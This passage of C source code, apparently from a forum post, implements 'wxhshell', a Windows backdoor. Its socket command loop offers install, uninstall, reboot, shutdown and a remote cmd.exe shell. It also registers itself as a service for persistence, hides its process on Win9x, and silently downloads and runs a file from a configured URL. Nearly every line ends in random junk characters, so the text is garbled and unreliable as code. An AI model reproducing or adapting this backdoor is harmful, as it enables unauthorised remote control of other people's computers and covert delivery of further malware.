    switch(cmd[0]) { g#=<;X2  
  >I|8yqbfm  
  // 帮助 st;iGg  
  case '?': { b2OwLt9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b)<WC$"  
    break; (T_-`N|  
  } hO]F\0+  
  // 安装 b3^:Bh9  
  case 'i': { `*3A7y  
    if(Install()) z_!IA ] v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? `p/jA  
    else o{G*7V@H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A$=ny6  
    break; :$$~$P  
    } nbF<K?  
  // 卸载 }6@E3z]AMO  
  case 'r': { hBjU(}\3  
    if(Uninstall()) 6u0>3-[6OD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } Bf@69  
    else az F!V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #4JMb#q0E  
    break; r8s>s6vm  
    } fAgeF$9@  
  // 显示 wxhshell 所在路径 rO7_K>g?  
  case 'p': { u%~'+=  
    char svExeFile[MAX_PATH]; ) 2Ei<  
    strcpy(svExeFile,"\n\r"); hOwb   
      strcat(svExeFile,ExeFile); `(FjOd K  
        send(wsh,svExeFile,strlen(svExeFile),0); gsbr8zwG,  
    break; hzsQK _;S  
    } 2iG+Ek-?"  
  // 重启 )X0=z1$  
  case 'b': { MY,~leP&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '4 *0Pw  
    if(Boot(REBOOT)) <= o<lRU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dd  
    else { V: D;?$Jl  
    closesocket(wsh); "V' r}>  
    ExitThread(0); &DWSf`:Hx  
    } +]eG=. u  
    break; M-nRhso  
    } i1cd9  
  // 关机 0vqVE]C  
  case 'd': { J\y^T3Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mD'nF1o Ly  
    if(Boot(SHUTDOWN)) $|=| "/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]lwf6'  
    else { ~#E&E%sJ  
    closesocket(wsh); q[\3,Y  
    ExitThread(0); ,^([aK  
    } pG#tMec  
    break; _ LHbP=B  
    } ku5|cF*%  
  // 获取shell Cw,a)XB  
  case 's': { /x??J4r0  
    CmdShell(wsh); I _KHQ&Z*  
    closesocket(wsh); FBXktSg  
    ExitThread(0); )/jDt dI  
    break; gy}3ZA*F  
  } cy8>M))c  
  // 退出 8J3#(aBm  
  case 'x': { "du(BZw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m^QoB  
    CloseIt(wsh); _<(xjWp 8  
    break; 2nyK'k  
    } G<?RH"RZr  
  // 离开 peVY2\1>R  
  case 'q': { cg8/v:B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @rYZ0`E9  
    closesocket(wsh); +j 9+~  
    WSACleanup(); N|yA]dg[  
    exit(1); VeWh9:"bJ  
    break; *:CTIV5N0  
        } !igPyhi,hl  
  } @&m [w'tn  
  } NPH(v`  
FEk9a^Xyx  
  // 提示信息 Xex7Lr&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X%YZQc9  
} CH4Nz'X2  
  } 6>WkisxG  
jWUrw  
  return; 9K& $8aD  
} ^UvL1+  
X"TL'"?fo  
// shell模块句柄 nOPB*{r|  
int CmdShell(SOCKET sock) =78y* `L  
{ .4a|^ vT  
STARTUPINFO si; jA,y.(mR  
ZeroMemory(&si,sizeof(si)); m~+.vk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r ~{nlLO}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "q?(rx;  
PROCESS_INFORMATION ProcessInfo; 5$U49j  
char cmdline[]="cmd"; (f&V 7n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7**zb"#y  
  return 0; j0L%jz  
} (')t >B1Z  
;j T{< Y  
// 自身启动模式 12 )  
int StartFromService(void) rPB Ju0D"  
{ t%mi#Gh(  
typedef struct MEI&]qI  
{ RhJ3>DL  
  DWORD ExitStatus; 0")_%  
  DWORD PebBaseAddress; C/!P&`<6  
  DWORD AffinityMask; Zg_b(ks  
  DWORD BasePriority; \l=A2i7TQ  
  ULONG UniqueProcessId; vVBWhY]  
  ULONG InheritedFromUniqueProcessId; O.dZ3!!+  
}   PROCESS_BASIC_INFORMATION; gX!K%qJBg  
bmHj)^v 5]  
PROCNTQSIP NtQueryInformationProcess; CRo @+p10  
w_U#z(W3l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W _[9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S8v,' Cc  
^X#)'\T  
  HANDLE             hProcess; Zdrniae ah  
  PROCESS_BASIC_INFORMATION pbi; d*TH$-F!p  
yHY2 SXm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _Q #[IH9  
  if(NULL == hInst ) return 0; HHx5 VI  
*fY*Wy9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eF;Jj>\R+i  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); # 9bw'm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9uxoMjR-  
<1vogUDW  
  if (!NtQueryInformationProcess) return 0; T7qp ({v?Q  
&kf \[|y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |3k r*#  
  if(!hProcess) return 0; VnN(lJ  
:2 \NG}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G$)q% b;Lz  
}Q[U4G  
  CloseHandle(hProcess); 5#z7Hj&w  
c CjN8<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =8vwaJ  
if(hProcess==NULL) return 0; #pWy%U  
r6D3u(kMb  
HMODULE hMod; |xb;#ruR6  
char procName[255]; :tENn r.9v  
unsigned long cbNeeded; ([m4 dr  
<OiH%:G/1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ke6,&s%{j  
5aVZ"h"  
  CloseHandle(hProcess); {%2p(5FB  
5bZ0}^FYF  
if(strstr(procName,"services")) return 1; // 以服务启动 JiqhCt\  
D{7sfkcJ  
  return 0; // 注册表启动 N/C$8D34  
} #x;d+Q@  
?RE"<L  
// 主模块 ht\_YiDg3  
int StartWxhshell(LPSTR lpCmdLine) =m|<~t  
{ 2n"-~'3\  
  SOCKET wsl; dM"5obEb  
BOOL val=TRUE; YxnZ0MY  
  int port=0; J^WX^".E  
  struct sockaddr_in door; dRs\e(H'  
# - L<  
  if(wscfg.ws_autoins) Install(); 1< b~="  
mJ8EiRSE  
port=atoi(lpCmdLine); HII@Ed f?  
uEsF 8  
if(port<=0) port=wscfg.ws_port; U*EBH  
4tkb7D q  
  WSADATA data; akj#.aYk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KsTE)@ F:  
$LBgBH &z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t%y i3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7#HSe#0J  
  door.sin_family = AF_INET; Ut%{pc 7^F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AO-~dV  
  door.sin_port = htons(port); \"I418T K  
'0Q/oU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sC f)#6mI  
closesocket(wsl); ow+_g R-  
return 1; D3tcwjXoW_  
} Qp@}v7Due  
O*F= xG  
  if(listen(wsl,2) == INVALID_SOCKET) { N+]HJ`K  
closesocket(wsl); 5IgO4<B  
return 1; cNKGEm ;z  
} TCgW^iu  
  Wxhshell(wsl); {iQ4jJ`n  
  WSACleanup(); ,7d#t4  
Wa!C2nB  
return 0; `OZiN;*|  
1k%HGQM{  
} Ea[SS@'R  
C szZr>Z  
// 以NT服务方式启动 1vh[sKv9%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VYK%0S9yH[  
{ {p$X*2ReB  
DWORD   status = 0; &[ |Z2}  
  DWORD   specificError = 0xfffffff; 16ip:/5  
>qMzQw2  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  l:a#B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?wIw$p>wT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bvl!^xO]  
  serviceStatus.dwWin32ExitCode     = 0; )|]*"yf:E  
  serviceStatus.dwServiceSpecificExitCode = 0; iII%!f?{[  
  serviceStatus.dwCheckPoint       = 0; Qdy/KL1]  
  serviceStatus.dwWaitHint       = 0; 2`V0k.$?p  
HbCcROl(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $7O3+R/=  
  if (hServiceStatusHandle==0) return; ~A(^<  
p CeCR  
status = GetLastError(); n "I{aJ]K  
  if (status!=NO_ERROR) j\@&poJ(,  
{ 'O 7>w%#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i_y%HG  
    serviceStatus.dwCheckPoint       = 0; O^~nf%  
    serviceStatus.dwWaitHint       = 0; a0k/R<4  
    serviceStatus.dwWin32ExitCode     = status; q:wz!~(>  
    serviceStatus.dwServiceSpecificExitCode = specificError; (AG((eV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &jrc]  
    return; #A~7rH%hi  
  } 5sB~.z@  
b. :2x4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >+%0|6VSb  
  serviceStatus.dwCheckPoint       = 0; H@|m^1  
  serviceStatus.dwWaitHint       = 0; Kciz^)'Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U*BI/wZ  
} $GD Q1&Z  
u`*1OqU  
// 处理NT服务事件,比如:启动、停止 0 \1g-kc!v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %mS>v|  
{ iML?`%/vN  
switch(fdwControl) 'kJyE9*xU.  
{ K7,Sr1O `  
case SERVICE_CONTROL_STOP: I#(?xHx  
  serviceStatus.dwWin32ExitCode = 0; K:$GmV9o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3my_Gp  
  serviceStatus.dwCheckPoint   = 0; A*kN I  
  serviceStatus.dwWaitHint     = 0; E,/nK  
  { QwnqysNx4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .07k G]  
  } S:c d'68D  
  return; ;IT'6m`@W  
case SERVICE_CONTROL_PAUSE: t&o&gb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aC3Qmo6?m  
  break; bc6|]kB:  
case SERVICE_CONTROL_CONTINUE: &'m&'wDt:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \XbCJJP  
  break; }?6gj%$c  
case SERVICE_CONTROL_INTERROGATE: m-9ChF: U  
  break; m>DJ w7<  
}; Bl+PJ 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m*14n_m'  
} o#-^Lg&  
^HWa owy=  
// 标准应用程序主函数 RV@mAw.T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NC"X{$o2  
{ ,H] S-uK~  
(Wn^~-`=+  
// 获取操作系统版本 Xz'o<S  
OsIsNt=GetOsVer(); p-6T,')  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G[zVGqk  
*n9=Q9  
  // 从命令行安装 yh+.Yn=+  
  if(strpbrk(lpCmdLine,"iI")) Install(); }n k [WW  
!dwa. lZ&X  
  // 下载执行文件 WFfn:WSWU  
if(wscfg.ws_downexe) { :!wt/Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 76cT}l&.h8  
  WinExec(wscfg.ws_filenam,SW_HIDE); r_Pi)MPc  
} C!|Yz=e  
fjqd16{Q  
if(!OsIsNt) { O]?PC^GGY  
// 如果时win9x,隐藏进程并且设置为注册表启动 !)EYM&:Y  
HideProc(); % 3<7HY]~  
StartWxhshell(lpCmdLine); 15kkf~Z<t  
} ,a ":/ /[  
else @h%Nn)QBq  
  if(StartFromService()) dTQW/kAHQ  
  // 以服务方式启动 ( $,qxPOn  
  StartServiceCtrlDispatcher(DispatchTable); N@I=X-7nh|  
else TV?MB(mN  
  // 普通方式启动 ey`E E/WV  
  StartWxhshell(lpCmdLine); ;y-sd?pAk  
|0VZ1{=*  
return 0; +-Z `v  
}
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只看该作者 1 发表于: 2006-10-10
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